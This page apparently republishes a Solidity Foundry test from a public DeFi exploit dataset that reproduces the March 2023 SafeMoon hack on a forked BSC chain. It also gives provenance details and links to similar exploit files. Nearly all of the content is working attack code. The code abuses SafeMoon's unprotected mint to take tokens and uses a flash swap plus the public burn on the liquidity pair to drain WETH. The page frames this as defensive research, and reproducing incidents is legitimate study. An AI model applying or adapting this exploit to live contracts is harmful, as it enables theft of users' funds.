Public reproduction file
src/test/2023-03/safeMoon_exp.sol
Public reproduction file for dataset entry SafeMoon Hack.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1pragma solidity ^0.8.13;3import "forge-std/Test.sol";5interface IUniswapV2Router02 {6 function WETH() external pure returns (address);8 function routerTrade() external pure returns (address);9}11interface ISafemoon {12 function uniswapV2Router() external returns (IUniswapV2Router02);14 function uniswapV2Pair() external returns (address);16 function bridgeBurnAddress() external returns (address);18 function approve(address spender, uint256 amount) external;20 function balanceOf(21 address account22 ) external view returns (uint256);24 function mint(address user, uint256 amount) external;26 function burn(address from, uint256 amount) external;27}29interface ISafeSwapTradeRouter {30 struct Trade {31 uint256 amountIn;32 uint256 amountOut;33 address[] path;34 address payable to;35 uint256 deadline;36 }38 function getSwapFees(uint256 amountIn, address[] memory path) external view returns (uint256 _fees);40 function swapExactTokensForTokensWithFeeAmount(41 Trade calldata trade42 ) external payable;43}45interface IWETH {46 function approve(address, uint256) external returns (bool);48 function transfer(address, uint256) external returns (bool);50 function balanceOf(51 address52 ) external view returns (uint256);53}55interface IPancakePair {56 function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;57}59interface IPancakeCallee {60 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external;61}63interface IUniswapV2Pair {64 function sync() external;65}67contract SafemoonAttackerTest is Test, IPancakeCallee {68 ISafemoon public sfmoon;69 IPancakePair public pancakePair;70 IWETH public weth;72 function setUp() public {73 vm.createSelectFork("bsc", 26_854_757);75 sfmoon = ISafemoon(0x42981d0bfbAf196529376EE702F2a9Eb9092fcB5);76 pancakePair = IPancakePair(0x1CEa83EC5E48D9157fCAe27a19807BeF79195Ce1);77 weth = IWETH(sfmoon.uniswapV2Router().WETH());78 }80 function testMint() public {81 vm.rollFork(26_854_757);83 uint256 originalBalance = sfmoon.balanceOf(address(this));84 emit log_named_uint("sfmoon balance before:", originalBalance);85 assertEq(originalBalance, 0);87 sfmoon.mint(address(this), sfmoon.balanceOf(sfmoon.bridgeBurnAddress()));89 uint256 currentBalance = sfmoon.balanceOf(address(this));90 emit log_named_uint("sfmoon balance after:", currentBalance);91 assertEq(currentBalance, 81_804_509_291_616_467_966);92 }94 function testBurn() public {95 vm.rollFork(26_864_889);97 uint256 originalBalance = weth.balanceOf(address(this));98 emit log_named_uint("weth balance before:", originalBalance);99 assertEq(originalBalance, 0);101 pancakePair.swap(1000 ether, 0, address(this), "ggg");103 uint256 currentBalance = weth.balanceOf(address(this));104 emit log_named_uint("weth balance after:", currentBalance);105 assertEq(currentBalance, 27_463_848_254_806_782_408_231);106 }108 function doBurnHack(109 uint256 amount110 ) public {111 swappingBnbForTokens(amount);112 sfmoon.burn(sfmoon.uniswapV2Pair(), sfmoon.balanceOf(sfmoon.uniswapV2Pair()) - 1_000_000_000);113 sfmoon.burn(address(sfmoon), sfmoon.balanceOf(address(sfmoon)));114 IUniswapV2Pair(sfmoon.uniswapV2Pair()).sync();115 swappingTokensForBnb(sfmoon.balanceOf(address(this)));116 }118 function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {119 require(msg.sender == address(pancakePair));120 require(sender == address(this));122 doBurnHack(amount0);123 weth.transfer(msg.sender, (amount0 * 10_030) / 10_000);124 }126 function swappingBnbForTokens(127 uint256 tokenAmount128 ) private {129 address[] memory path = new address[](2);130 path[0] = address(weth);131 path[1] = address(sfmoon);133 ISafeSwapTradeRouter tradeRouter = ISafeSwapTradeRouter(sfmoon.uniswapV2Router().routerTrade());134 weth.approve(address(sfmoon.uniswapV2Router()), tokenAmount);136 uint256 feeAmount = tradeRouter.getSwapFees(tokenAmount, path);137 ISafeSwapTradeRouter.Trade memory trade = ISafeSwapTradeRouter.Trade({138 amountIn: tokenAmount,139 amountOut: 0,140 path: path,141 to: payable(address(this)),142 deadline: block.timestamp143 });144 tradeRouter.swapExactTokensForTokensWithFeeAmount{value: feeAmount}(trade);145 }147 function swappingTokensForBnb(148 uint256 tokenAmount149 ) private {150 address[] memory path = new address[](2);151 path[0] = address(sfmoon);152 path[1] = address(weth);154 ISafeSwapTradeRouter tradeRouter = ISafeSwapTradeRouter(sfmoon.uniswapV2Router().routerTrade());155 sfmoon.approve(address(sfmoon.uniswapV2Router()), tokenAmount);157 uint256 feeAmount = tradeRouter.getSwapFees(tokenAmount, path);158 ISafeSwapTradeRouter.Trade memory trade = ISafeSwapTradeRouter.Trade({159 amountIn: tokenAmount,160 amountOut: 0,161 path: path,162 to: payable(address(this)),163 deadline: block.timestamp164 });165 tradeRouter.swapExactTokensForTokensWithFeeAmount{value: feeAmount}(trade);166 }167}Analysis
Dataset entry
Public Foundry test for “SafeMoon Hack” (2023-03-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
8 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-03/BIGFI_exp.solSame month in the dataset · 89 lines
- src/test/2023-03/DBW_exp.solSame month in the dataset · 195 lines
- src/test/2023-03/DKP_exp.solSame month in the dataset · 93 lines
- src/test/2023-03/Euler_exp.solSame month in the dataset · 148 lines
- src/test/2023-03/paraspace_exp.solSame month in the dataset · 284 lines
- src/test/2023-03/Phoenix_exp.solSame month in the dataset · 123 lines
- src/test/2023-03/poolz_exp.solSame month in the dataset · 364 lines
- src/test/2023-03/Thena_exp.solSame month in the dataset · 104 lines
File record
- Name
- SafeMoon Hack
- Path
- src/test/2023-03/safeMoon_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 23de3b636c9121a067c63fdfad1d7e0249ca8559
- Language
- Solidity
- Size
- 168 lines
- Date
- 2023-03-28
- Licence
- ThreatWire editorial text
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-03/safeMoon_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 23de3b636c9121a067c63fdfad1d7e0249ca8559, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.